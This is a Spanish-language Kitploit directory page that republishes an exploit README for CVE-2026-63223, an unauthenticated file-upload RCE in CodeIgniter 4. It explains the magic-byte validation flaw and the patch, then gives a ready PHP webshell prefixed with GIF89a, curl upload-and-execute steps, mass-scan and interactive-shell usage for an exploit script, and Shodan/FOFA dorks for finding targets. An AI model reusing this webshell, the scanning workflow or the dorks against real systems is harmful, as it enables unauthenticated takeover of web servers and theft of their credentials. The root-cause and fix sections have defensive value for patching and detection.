Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-63223 — CVE-2026-63223 — CI4RCE: RCE de carga de archivos is_image/mime_in de CodeIgniter 4. Bypass de bytes mágicos (getExtension vs getClientExtension). CVSS 9.8 | CWE-434 | CI4 < 4.7.4 | Kitploit
Herramientas/GitHubGitHub/shinthink/cve-2026-63223
Escáneres de Vulnerabilidades WebGeneración de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubshinthink/cve-2026-63223

CVE-2026-63223

CVE-2026-63223 — CI4RCE: RCE de carga de archivos is_image/mime_in de CodeIgniter 4. Bypass de bytes mágicos (getExtension vs getClientExtension). CVSS 9.8 | CWE-434 | CI4 < 4.7.4

Ver Repositorio
16hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-63223 — RCE por Subida de Archivos en CodeIgniter 4

Bypass de Magic Bytes → is_image/mime_in → Webshell PHP → RCE


Resumen

CVE-2026-63223 es una vulnerabilidad no autenticada de ejecución remota de código, de severidad crítica (CVSS 9.8), en CodeIgniter 4, un framework web PHP full-stack, que afecta a las versiones anteriores a 4.7.4.

La vulnerabilidad explota las reglas de validación de subida de archivos is_image y mime_in, que inspeccionan (magic bytes) sin validar la extensión del nombre de archivo proporcionada por el cliente. Un atacante antepone magic bytes de imagen (cabeceras GIF89a, JPEG, PNG) al código PHP, nombra el archivo , supera la validación y logra RCE cuando el archivo acaba en un directorio accesible desde la web con ejecución de PHP.

solo el tipo MIME derivado del contenido
shell.php

CVSS: 9.8 CRÍTICO — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Descubierto: 31 de julio de 2026 | Aviso: GHSA-mmj4-63m4-r6h5 Corregido: CodeIgniter 4 v4.7.4

Versiones afectadas

VersiónEstado
< 4.7.4Vulnerable
4.7.4+Parcheada

CWE: CWE-434 — Subida sin restricciones de archivos de tipo peligroso PoC de referencia: imbas007/CVE-2026-63223-POC


Mecanismo de la vulnerabilidad

Causa raíz

La regla de validación is_image de CodeIgniter 4 mapea getExtension() — que devuelve la extensión derivada de los magic bytes (p. ej., gif) — a través de Mimes::guessTypeFromExtension() para determinar si el archivo es una imagen. La extensión del nombre de archivo proporcionada por el cliente (getClientExtension(), p. ej., php) nunca se inspecciona:

root@kitploit:~
// VULNERABLE — CI4 4.7.3 FileRules.php
public function is_image(?string $blank, string $params): bool
{
    // ...
    $type = Mimes::guessTypeFromExtension($file->getExtension()) ?? '';
    //      ↑ getExtension() = "gif" (from magic bytes, NOT client filename!)
    if (mb_strpos($type, 'image') !== 0) {
        return false;  // "image/gif" → passes!
    }
    return true;  // never checks getClientExtension() = "php"
}

Por qué funciona

  1. getExtension() ≠ getClientExtension() — la primera se deriva de los magic bytes (gif), la segunda del nombre de archivo del cliente (php)
  2. La validación confía en los bytes, no en el nombre — is_image pasa porque Mimes::guessTypeFromExtension("gif") devuelve image/gif
  3. El archivo se guarda con el nombre del cliente — $file->move($path, $file->getClientName()) conserva la extensión .php
  4. Sin verificación cruzada antes de v4.7.4 — no existe validación de que la extensión del cliente coincida con el tipo detectado
  5. Subidas accesibles desde la web — los directorios de subida predeterminados/públicos sirven los archivos PHP directamente

Flujo del ataque

root@kitploit:~
1. Attacker generates PHP webshell with GIF89a header
   → file(1) reports "GIF image data"
2. POST multipart to vulnerable endpoint (/upload/avatar)
   → is_image validates: image/gif → PASS
   → File saved as shell.php in /uploads/
3. GET /uploads/shell.php?c=id
   → Apache passes .php to PHP-FPM → PHP executes
   → GIF89a output as plaintext, then <?php code runs
4. RCE as www-data

La corrección (v4.7.4)

El parche añade hasInvalidImageClientExtension() — ahora comprueba también la extensión del cliente:

root@kitploit:~
// PATCHED — v4.7.4+
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    //                   ↑ NOW checks getClientExtension() = "php"!
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    //      ↑ Mimes::guessTypeFromExtension("php") → "text/x-php"
    return mb_strpos($type, 'image') !== 0;  // TRUE → REJECT!
}

El cambio clave: is_image ahora valida tanto getExtension() (derivada del contenido, para la comprobación real de imagen) como getClientExtension() (proporcionada por el cliente, para rechazar extensiones que no son de imagen, como .php).


Instalación

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-63223.git
cd CVE-2026-63223
pip install requests

Uso

root@kitploit:~
# Single target
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar

# Custom command
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "cat /etc/passwd"

# Interactive shell
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --shell

# JPEG variant, custom filename
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --method jpg --filename wp-admin.php

# Mass scan
python cve_2026_63223.py -f targets.txt -e /upload/avatar --threads 20

Argumentos

root@kitploit:~
  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -e, --endpoint     Vulnerable upload endpoint (default: /upload/avatar)
  --field FIELD      Upload form field name (default: avatar)
  --method {gif,jpg,png}  Magic bytes disguise (default: gif)
  --filename NAME    Shell filename (default: shell.php)
  -c, --command      Shell command to execute (default: id)
  --shell            Interactive pseudo-shell mode
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)

Prueba de concepto

Objetivo único

root@kitploit:~
$ python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "id; hostname"
root@kitploit:~
  Host          : ci4-app.com
  CodeIgniter 4 : YES
  Upload        : YES
  Shell URL     : http://ci4-app.com/uploads/shell.php
  RCE           : YES

  RCE Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
app-server-01

Explotación manual (curl)

root@kitploit:~
# Generate GIF89a-prefixed PHP webshell
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# Upload
curl -F "[email protected];type=image/gif" http://target/upload/avatar

# Execute
curl http://target/uploads/evil.php?c=id

FOFA / Shodan

root@kitploit:~
FOFA:   body="CodeIgniter" && body="Welcome to"
Shodan: http.title:"Welcome to CodeIgniter" http.component:"CodeIgniter"
Censys: services.http.response.body:"debugbar_loader"

Impacto

Una explotación exitosa permite ejecución remota de código como el usuario del servidor web:

  • Ejecutar comandos arbitrarios del sistema
  • Acceder a las credenciales de la base de datos desde los archivos .env
  • Desplegar puertas traseras persistentes
  • Pivotar hacia redes internas
  • Desfigurar o comprometer la aplicación

No se necesita cuenta ni autenticación — los endpoints de subida que usan is_image/mime_in sin ext_in son vulnerables por defecto.


La corrección (v4.7.4)

  1. Actualizar a CodeIgniter 4 v4.7.4 o posterior
  2. Solución alternativa: combinar is_image/mime_in con la regla de validación ext_in
  3. Almacenar las subidas fuera de la raíz web y servirlas mediante un proxy readfile()
  4. Generar nombres de archivo controlados por el servidor con getRandomName()

Aviso legal

SOLO PARA FINES EDUCATIVOS Y PRUEBAS AUTORIZADAS.

No lo utilice contra sistemas sin permiso explícito. Los autores no asumen ninguna responsabilidad por el mal uso.


Referencias

RecursoEnlace
Aviso de GitHubGHSA-mmj4-63m4-r6h5
PoC de referenciaimbas007/CVE-2026-63223-POC
Entrada NVDCVE-2026-63223
CodeIgniter v4.7.4Registro de cambios
CWE-434Subida sin restricciones

No afiliado con CodeIgniter Foundation.

Descargar herramienta